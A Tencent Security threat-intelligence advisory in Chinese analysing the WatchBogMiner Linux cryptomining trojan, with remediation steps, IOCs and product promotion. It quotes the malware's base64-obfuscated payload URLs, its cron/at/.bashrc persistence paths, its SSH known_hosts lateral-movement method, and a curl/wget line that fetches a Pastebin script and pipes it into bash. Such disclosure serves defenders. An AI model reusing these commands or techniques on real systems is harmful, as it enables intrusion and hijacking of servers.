WatchBogMiner木馬利用漏洞攻擊傳播,已控制上萬臺Linux伺服器挖礦

2021-02-14 騰訊安全威脅情報中心


長按二維碼關注

騰訊安全威脅情報中心

騰訊安全威脅情報中心檢測到針對Linux伺服器進行攻擊的WatchBogMiner變種挖礦木馬。該木馬利用Nexus Repository Manager、Supervisord、ThinkPHP等伺服器組件的遠程代碼執行漏洞進行攻擊，在失陷機器安裝多種類型的持久化攻擊代碼，然後植入門羅幣挖礦木馬進行挖礦。騰訊安全專家根據木馬使用的算力資源推測已有上萬臺Linux伺服器被黑客控制，已挖到28個門羅幣，收益約1.3萬元。

木馬通過第三方網站Pastebin保存惡意代碼以躲避檢測，並且通過各類方法進行持久化，定期拉取挖礦木馬加載到內存執行，同時會在啟動後刪除木馬文件以達到「隱身」目的。和其他挖礦木馬類似，WatchBogMiner木馬挖礦時，會清除其他挖礦木馬以獨佔伺服器。

WatchBogMiner變種攻擊代碼還會通過失陷機器已認證過的SSH RSA進行SSH連接和執行遠程命令進行橫向移動，以擴大其影響範圍。根據其錢包算力（120Kh/s）推測，木馬已控制約1萬臺伺服器進行挖礦。

騰訊安全專家建議企業網管對Linux伺服器進行安全檢測，及時清除挖礦木馬，及時修復伺服器組件存在的高危漏洞，避免遭遇更嚴重的損失，檢測方案可參考騰訊安全系列產品應對WatchBogMiner挖礦木馬的響應清單進行：

應用

場景

安全產品

解決方案

威

脅

情

報

騰訊T-Sec

威脅情報雲查服務

（SaaS）

1）WatchBogMiner黑產團夥相關IOCs已入庫。

各類安全產品可通過「威脅情報雲查服務」提供的接口提升威脅識別能力。可參考:https://cloud.tencent.com/product/tics

騰訊T-Sec

高級威脅追溯系統

1）WatchBogMiner黑產團夥相關信息和情報已支持檢索。

網管可通過威脅追溯系統，分析日誌，進行線索研判、追溯網絡入侵源頭。T-Sec高級威脅追溯系統的更多信息，可參考：https://cloud.tencent.com/product/atts

雲原生

安全

防護

雲防火牆

（Cloud Firewall，CFW）

基於網絡流量進行威脅檢測與主動攔截，已支持：

1）WatchBogMiner關聯的IOCs已支持識別檢測；

有關雲防火牆的更多信息，可參考：
https://cloud.tencent.com/product/cfw

騰訊T-Sec  主機安全

（Cloud Workload Protection，CWP）

1）已支持查殺WatchBogMiner相關木馬程序；

2）已支持Nexus Repository Manager 3 遠程代碼執行漏洞(CVE-2019-7238)檢測  ；

3）已支持Supervisord遠程命令執行漏洞(CVE-2017-11610)檢測；

4）已支持ThinkPHP遠程命令執行漏洞檢測。

 

騰訊主機安全（雲鏡）提供雲上終端的防毒殺毒、防入侵、漏洞管理、基線管理等。關於T-Sec主機安全的更多信息，可參考：https://cloud.tencent.com/product/cwp

騰訊T-Sec 漏洞掃描服務

（Vulnerability Scan Service，VSS）

1）騰訊VSS已支持檢測全網資產是否存在Nexus Repository Manager、Supervisord、ThinkPHP等伺服器組件高危漏洞；

 

關於騰訊T-Sec漏洞掃描服務的更多信息，可參考：https://cloud.tencent.com/product/vss

騰訊T-Sec 安全運營中心

基於客戶雲端安全數據和騰訊安全大數據的雲安全運營平臺。已接入騰訊主機安全（雲鏡）、騰訊御知等產品數據導入，為客戶提供漏洞情報、威脅發現、事件處置、基線合規、及洩漏監測、風險可視等能力。

關於騰訊T-Sec安全運營中心的更多信息，可參考：https://s.tencent.com/product/soc/index.html

非雲企業安全防護

騰訊T-Sec

高級威脅檢測系統

（騰訊御界）

基於網絡流量進行威脅檢測，已支持：

1）通過協議檢測WatchBogMiner木馬與伺服器的網絡通信；

關於T-Sec高級威脅檢測系統的更多信息，可參考：https://cloud.tencent.com/product/nta

騰訊T-Sec終端安全管理系統（御點）

1）可查殺WatchBogMiner團夥入侵釋放的木馬程序；

 

騰訊御點提供企業終端的防毒殺毒、防入侵、漏洞管理、基線管理等能力，關於T-Sec終端安全管理系統的更多資料，可參考：https://s.tencent.com/product/yd/index.html

更多產品信息，請參考騰訊安全官方網站https://s.tencent.com/

WatchBogMiner使用Nexus Repository Manager 3 遠程代碼執行漏洞(CVE-2019-7238)、Supervisord遠程命令執行漏洞(CVE-2017-11610)、ThinkPHP遠程命令執行漏洞的EXP代碼對伺服器進行掃描和攻擊，並通過Payload執行https[:]//pastebin.com/raw/1eDKHr4r。失陷機器被安裝的惡意定時任務如下：

為逃避檢測，攻擊者使用第三方網站Pastebin來保存惡意代碼，該網站不會被網絡防禦方判斷為惡意網站。WatchBogMiner變種用於存放惡意代碼的Pastebin帳號為"LISTTIME"，創建於2020年4月20日。


https[:]//pastebin.com/raw/1eDKHr4r跳轉https[:]//pastebin.com/raw/UhUmR517

「UhUmR517」上保存的內容經過base64解碼後，會得到以下shell腳本，包括有system()、cronhigh()、gettarfile()、download()、testa()、kill_miner_proc()等函數，會完成持久化、挖礦、橫向移動等功能，是該病毒的主要攻擊腳本。

腳本首先定義了4個變量，內容分別如下：

house=$(echo aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3LzFlREtIcjRy|base64 -d)park=$(echo aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2I1eDFwUnpL|base64 -d)beam=$(echo c2FkYW42NjYueHl6OjkwODAvcnI=|base64 -d)deep=$(echo aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L1NqaldldlRz|base64 -d)surf=$(echo aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L3R5am5UUVRB|base64 -d)

經過base64解碼後：
house= https[:]//pastebin.com/raw/1eDKHr4rpark= https[:]//pastebin.com/raw/b5x1pRzKbeam= sadan666.xyz:9080/rrdeep= https[:]//pastebin.com/raw/SjjWevTssurf= https[:]//pastebin.com/raw/tyjnTQTA

其中house、park、beam都會跳轉得到「UhUmR517」腳本，而deep、surf會返回函數名「dragon」和「lossl」。
 
持久化模塊通過多種方式定期執行遠程shell腳本：
1.system()函數通過寫入/etc/crontab文件，創建定時任務。
2.cronhigh()通過寫入以下文件創建定時任務。
/var/spool/cron/root/var/spool/cron/crontabs/root/etc/cron.d/system/etc/cron.d/apache/etc/cron.d/root/etc/cron.hourly/oanacroane/etc/cron.daily/oanacroane/etc/cron.monthly/oanacroane
3.cronlow()通過crontab命令創建定時任務。
4.cronbackup()通過at命令：echo "$pay" | at -m now + 1 minute添加定時任務，通過後臺隱藏執行一段帶有while循環的腳本："while true; do sleep 600 && $pay; done"，同樣達到定時任務效果。
5.cronc()通過寫入環境變量文件"/home/$me/.bashrc"、"/root/.bashrc"執行定時任務。
挖礦模塊為download()和testa()，分別從https[:]//pastebin.com/raw/GMdeWqec、
https[:]//pastebin.com/raw/Esctfgrx下載$mi_64和$st_64，經過解碼後得到XMRig、xmr-stak修改而成的挖礦程序，保存為：
/tmp/systemd-private-afjdhdicjijo473skiosoohxiskl573q-systemd-timesyncc.service-g1g5qf/cred/fghhhh/data/javaUpDates（最初被發現時該文件名為watchbog）
然後從https[:]//pastebin.com/raw/SB0TYBvG下載得到挖礦配置文件。
礦池：pool.minexmr.com:80
錢包：
48S8kPXdSgubJYsMhpRTr4Ct1nznDzV9ohNMEbmKzgeJLwWPV2QfKzsNRDYoxWWMAdTW69EVBhRQuFr7BiCsMQoU9xAKW4U

對比新版和舊版的挖礦木馬啟動代碼，發現新版代碼在釋放和啟動挖礦木馬之後，會sleep 15秒，然後通過rm -rf 命令將挖礦木馬文件刪除。

由於Linux系統進程啟動時，會將文件完全映射到內存中，所以啟動之後刪除文件不影響已經在運行中的進程，木馬用這一方法來抹掉文件痕跡從而達到隱身。木馬已通過各類持久化任務定期拉取挖礦木馬並加載到內存執行，即使每次執行後刪除文件，也能達到挖礦進程長期駐留系統的效果。
該錢包目前挖礦獲得門羅幣28XMR，折合人民幣13600元，礦池算力維持在120kH/s左右，這意味著持續有1萬臺左右的伺服器被控制挖礦。
腳本還會通過Kill_miner_proc()找到並清除競品挖礦木馬。
通過Kill_sus_proc()殺死高佔用CPU的可疑進程。
變種新增橫向移動模塊，獲取/root/.ssh/known_hosts中保存的已通過SSH RSA公鑰認證的IP，重新進行SSH登陸並執行遠程命令進行內網擴散攻擊：
curl -fsSL https[:]//pastebin.com/raw/UhUmR517||wget -q -O - https[:]//pastebin.com/raw/UhUmR517)|base64 -d|bash >/dev/null 2>&1 &
1、檢查是否有高CPU佔用的進程javaUpDates，kill掉該進程：
映像文件路徑（可能已被刪除）：
/tmp/systemd-private-afjdhdicjijo473skiosoohxiskl573q-systemd-timesyncc.service-g1g5qf/cred/fghhhh/data/javaUpDates

2、檢查以下文件是否有包含「sadan666.xyz:9080/rr」的定時任務，如有將其刪除：
/etc/crontab
/var/spool/cron/root
/var/spool/cron/crontabs/root
/etc/cron.d/system
/etc/cron.d/apache
/etc/cron.d/root
/etc/cron.hourly/oanacroane
/etc/cron.daily/oanacroane
/etc/cron.monthly/oanacroane

同時通過crontab命令檢查有無「sadan666.xyz:9080/rr」相關定時任務，如有將其刪除。

3、通過atq命令查找at任務隊列，刪除「sadan666.xyz:9080/rr」相關作業。

4、檢查是否存在進程/tmp/crun，如果該進程每10分鐘請求一次
「sadan666.xyz:9080/rr」，Kill掉該進程。

5、檢查配置文件"/home/$me/.bashrc"、"/root/.bashrc"是否包含「sadan666.xyz:9080/rr」相關內容，如有將其刪除。
IOCs
Domain
sadan666.xyz

IP
104.236.66.189

URL
https[:]//pastebin.com/raw/1eDKHr4r
https[:]//pastebin.com/raw/UhUmR517
https[:]//pastebin.com/raw/b5x1pRzK
http[:]//sadan666.xyz:9080/rr
https[:]//pastebin.com/raw/SjjWevTs
https[:]//pastebin.com/raw/tyjnTQTA
https[:]//pastebin.com/raw/Esctfgrx
https[:]//pastebin.com/raw/GMdeWqec
https[:]//pastebin.com/raw/SB0TYBvG
https[:]//pastebin.com/raw/Zkz0d9Jz
https[:]//pastebin.com/raw/mvSEGmR6

MD5
mi_64 88b658853b9ececc48f5cac2b7b3f6f6
st_64 ad17226de6cc93977fb7c22c7a27ea8e

錢包：
48S8kPXdSgubJYsMhpRTr4Ct1nznDzV9ohNMEbmKzgeJLwWPV2QfKzsNRDYoxWWMAdTW69EVBhRQuFr7BiCsMQoU9xAKW4U

相關焦點

  • 挖礦木馬SysupdataMiner利用多個漏洞同時攻擊Windows、Linux
    該挖礦木馬利用SSH免密登錄的漏洞在內網傳播，然後利用掃描工具掃描外網Redis伺服器並進行弱口令爆破攻擊。在感染的機器上，SysupdataMiner會檢測阿里雲騎士和騰訊雲鏡並進行卸載，會通過多種特徵檢測其他挖礦木馬並進行清除，然後下載門羅幣挖礦木馬sysupdata並啟動。
  • Linux伺服器遭遇挖礦蠕蟲攻擊,已有數千臺伺服器中招
    H2Miner是一個linux下的大型挖礦殭屍網絡，已被發現通過多個高危漏洞入侵Linux系統，並利用漏洞在企業內網或雲伺服器中橫向擴散。騰訊安全威脅情報中心預估已有數千臺伺服器中招，騰訊安全專家建議相關企業儘快排查伺服器被入侵的情況，及時清除H2Miner挖礦蠕蟲病毒。
  • 跨平臺挖礦木馬MrbMiner已控制上千臺伺服器​
    MrbMiner，黑客通過SQL Server伺服器弱口令爆破入侵，爆破成功後在目標系統釋放C#語言編寫的木馬assm.exe，進一步通過該木馬與C2伺服器通信，然後下載門羅幣挖礦木馬並維持挖礦進程。MrbMiner挖礦木馬會小心隱藏自身，避免被管理員發現。木馬會監測任務管理器進程，當用戶啟動「任務管理器」進程查看系統時，挖礦進程會立刻退出，並刪除相關文件。騰訊安全專家在MrbMiner挖礦木馬的FTP伺服器上還發現了基於Linux系統和ARM系統的挖礦木馬文件，推測MrbMiner已具備跨平臺攻擊能力。
  • KoiMiner挖礦木馬再度活躍 控制者來自某黑客論壇
    Apache Struts2漏洞S2-045（CVE-2017-5638）高危漏洞攻擊伺服器植入挖礦木馬netxmr4.0.exe，由於挖礦木馬netxmr解密代碼後以模塊名「koi」加載，因此騰訊御見威脅情報中心將其命名為KoiMiner。
  • H2Miner黑產團夥利用SaltStack漏洞控制伺服器挖礦,已獲利370萬元
    騰訊安全威脅情報中心大數據統計結果顯示，H2Miner利用SaltStack漏洞的攻擊自5月3日開始，目前呈快速增長趨勢。H2Miner挖礦木馬運行時會嘗試卸載伺服器的安全軟體，清除伺服器安裝的其他挖礦木馬，以獨佔伺服器資源。目前，H2Miner黑產團夥通過控制伺服器進行門羅幣挖礦已非法獲利超370萬元。
  • 挖礦木馬z0Miner正利用Confluence漏洞發起攻擊
    近日，趨勢科技發現挖礦木馬 z0Miner 一直在利用 Atlassian 的 Confluence 遠程代碼執行漏洞（CVE-2021-26084
  • 騰訊主機安全截獲TOPMiner挖礦木馬,受害伺服器約1.5萬臺,作者稱「12小時掃描全球」
    TopMiner近期攻擊十分活躍，該木馬通過SSH弱口令爆破進行攻擊入侵，會清除競品挖礦木馬，同時會使用爆破工具在內網橫向傳播。根據其挖礦錢包收益估算，約有1.5萬臺伺服器被該團夥控制挖礦。由於其使用的挖礦木馬名為top，騰訊安全將其命名為TopMiner挖礦木馬。TopMiner挖礦團夥針對SSH弱口令進行爆破攻擊，成功後執行命令下載惡意shell腳本，並將啟動腳本寫入crontab定時任務進行持久化，shell腳本繼續下載挖礦木馬nginx、top啟動挖礦。
  • WannaMiner挖礦木馬更新基礎設施 新手法已大賺17萬
    為了隱藏其惡意行為，WannaMine還會通過WMI類屬性存儲shellcode, 並使用「永恆之藍」漏洞攻擊武器以及「Mimikatz+WMIExec」攻擊組件進行橫向滲透。近期騰訊安全御見威脅情報中心檢測到該挖礦殭屍網絡更新了基礎設施，啟用了新的C2地址存放惡意代碼，並且通過Powershell內存注入挖礦和釋放PE木馬挖礦兩種形式來增大挖礦程序執行成功概率。
  • WannaMiner挖礦木馬不光擅長黑吃黑,最新變種還會過河拆橋
    釋放挖礦模塊we32.exe，這個挖礦模塊除了會結束其他挖礦木馬進程，還會在安裝好自身之後，關閉系統的135、137、138、139、445埠，避免這臺機器被其他入侵者控制。木馬這樣做的目的是確保只有自己獨享挖礦資源。通過同源性分析，發現該木馬與HSMiner挖礦木馬高度相似，該木馬下載了和HSMiner挖礦木馬一樣的遠程控制模塊。通過比對以往的威脅情報，發現該木馬使用的C2伺服器與HSMiner挖礦木馬有相關性。
  • 騰訊御見:WannaMiner挖礦木馬攻擊事件通報
    0x1 概述  近期，騰訊御見威脅情報中心監控到有攻擊者利用「永恆之藍」漏洞，傳播一種門羅幣挖礦木馬
  • 死神礦工(ThanatosMiner)來了,騰訊安全捕獲利用BlueKeep高危漏洞攻擊傳播的挖礦木馬
    利用BlueKeep漏洞CVE-2019-0708攻擊傳播。攻擊者將公開的Python版本BlueKeep漏洞利用代碼打包生成scan.exe，大範圍掃描隨機生成的IP位址進行探測和攻擊。漏洞利用成功後執行shellcode下載C#編寫的木馬svchost.exe，然後利用該木馬下載門羅幣挖礦木馬以及攻擊模塊進行下一輪攻擊。
  • RunMiner挖礦團夥新增漏洞武器:利用Weblogic反序列化漏洞(CVE-2017-10271)攻擊主機挖礦
    ：利用weblogic反序列化漏洞（CVE-2017-10271）對雲主機發起攻擊，攻擊得手後，會下載、執行惡意腳本嘗試對Linux、Windows雙平臺植入挖礦木馬，進行門羅幣挖礦操作。RunMiner挖礦木馬挖礦前會嘗試卸載雲主機安裝的防護軟體，並嘗試結束其他佔系統資源較高的進程，以清除可能存在的挖礦木馬競爭對手。RunMiner挖礦木馬團夥的攻擊活動會嚴重影響雲主機性能，幹擾政企機構正常業務運行。
  • 挖礦木馬針對SQL伺服器的爆破攻擊,中招可致伺服器被遠程控制
    長按二維碼關注御見威脅情報中心背景騰訊御見威脅情報中心檢測到一例挖礦木馬攻擊
  • 快Go礦工(KuaiGoMiner)控制數萬電腦挖礦,釋放遠控木馬竊取機密
    該木馬利用NSA武器中的「雙脈衝星」、「永恆浪漫」、「永恆之藍」攻擊工具針對網際網路上的機器進行掃描攻擊，並在攻擊成功後植入挖礦和遠控木馬，已控制數萬臺電腦。因其使用的C2域名中包含「kuai-Go」，御見威脅情報中心將其命名為「快Go礦工」（KuaiGoMiner）。
  • 挖礦殭屍網絡NSAGluptebaMiner利用永恆之藍漏洞傳播
    NSAGluptebaMiner變種正在利用永恆之藍漏洞攻擊傳播。目前該殭屍網絡會控制機器進行門羅幣挖礦和搜集用戶隱私數據，並具有遠程執行命令的功能，同時還會利用比特幣交易數據更新C2。當前NSAGluptebaMiner版本具有以下特徵：1.利用永恆之藍漏洞攻擊傳播；2.安裝計劃任務實現持久化，任務利用certutil.exe下載木馬；3.利用密碼提取器updateprofile.exe搜集瀏覽器記錄的帳號密碼並上傳；4.繞過UAC，以管理員權限和系統權限運行，將木馬程序加入防火牆策略白名單、
  • NTP挖礦蠕蟲利用至少12種漏洞武器攻擊傳播,騰訊雲防火牆支持攔截
    該挖礦木馬具備蠕蟲化攻擊擴散能力，攻擊成功後投遞的最終載荷名為ntpclient，其主要目的為感染主機挖礦牟利，騰訊安全因此將其命名為NTP挖礦蠕蟲。該挖礦木馬在蠕蟲化傳播擴散過程中利用了至少12種高危漏洞攻擊武器。根據騰訊安全雲原生預警系統的檢測數據，已觀察到較多未安裝任何防護系統的主機被入侵感染。
  • 警惕:NSABuffMiner挖礦木馬對企業內網的攻擊正在增長
    經過現場收集證據以及大數據溯源，我們發現這是NSABuffMiner的新變種，該變種已然成為了一個精心設計挖礦殭屍網絡。雖然早在2018年9月份，騰訊安全官網已有相關披露，但是該病毒家族仍在持續更新活躍。通過騰訊安圖可以發現該挖礦木馬的感染量在持續增長，如下圖所示。
  • 防火牆捕獲殭屍網絡木馬對雲主機的攻擊,作者自稱「無所不能」
    DDoS、挖礦、後門能力；3.作者自稱支持可攻擊多平臺，木馬支持多架構，可利用多個漏洞攻擊傳播，包括通過FTP、IPC、SMB、WMI、MSSQL、EternalBlue、Eternalromance、CVE-2017-8464、Thinkphp、HFS、phpstudy、Laravel、durpal、Shareddisk、sharedirectory…………等等多種漏洞利用方式攻擊傳播
  • 永恆之藍下載器最新變種重啟EXE文件攻擊,新變種已感染1.5萬臺伺服器
    騰訊安全大數據監測數據顯示，永恆之藍下載器最新變種出現之後便迅速傳播，目前已感染約1.5萬臺伺服器，中毒系統最終用於下載運行門羅幣挖礦木馬。永恆之藍下載器木馬在不斷演進更新過程中，曾將EXE攻擊方式逐步切換到利用Powershell腳本實現無文件攻擊。
  • 數萬臺MSSQL伺服器遭爆破入侵,已淪為門羅幣礦機
    ，該挖礦木馬主要針對MS SQL服務進行爆破弱口令攻擊，爆破成功後會植入門羅幣挖礦木馬進行挖礦。同時攻擊者下載frpc內網穿透工具安裝後門，並會添加用戶以方便入侵者遠程登錄該伺服器。從挖礦木馬的HFS伺服器計數看，已有上萬臺MSSQL伺服器被植入挖礦木馬，另有數十臺伺服器被安裝後門。攻擊者在失陷伺服器上安裝內網穿透工具會進一步增加黑客入侵風險，企業資料庫伺服器淪陷可能導致嚴重信息洩露事件發生。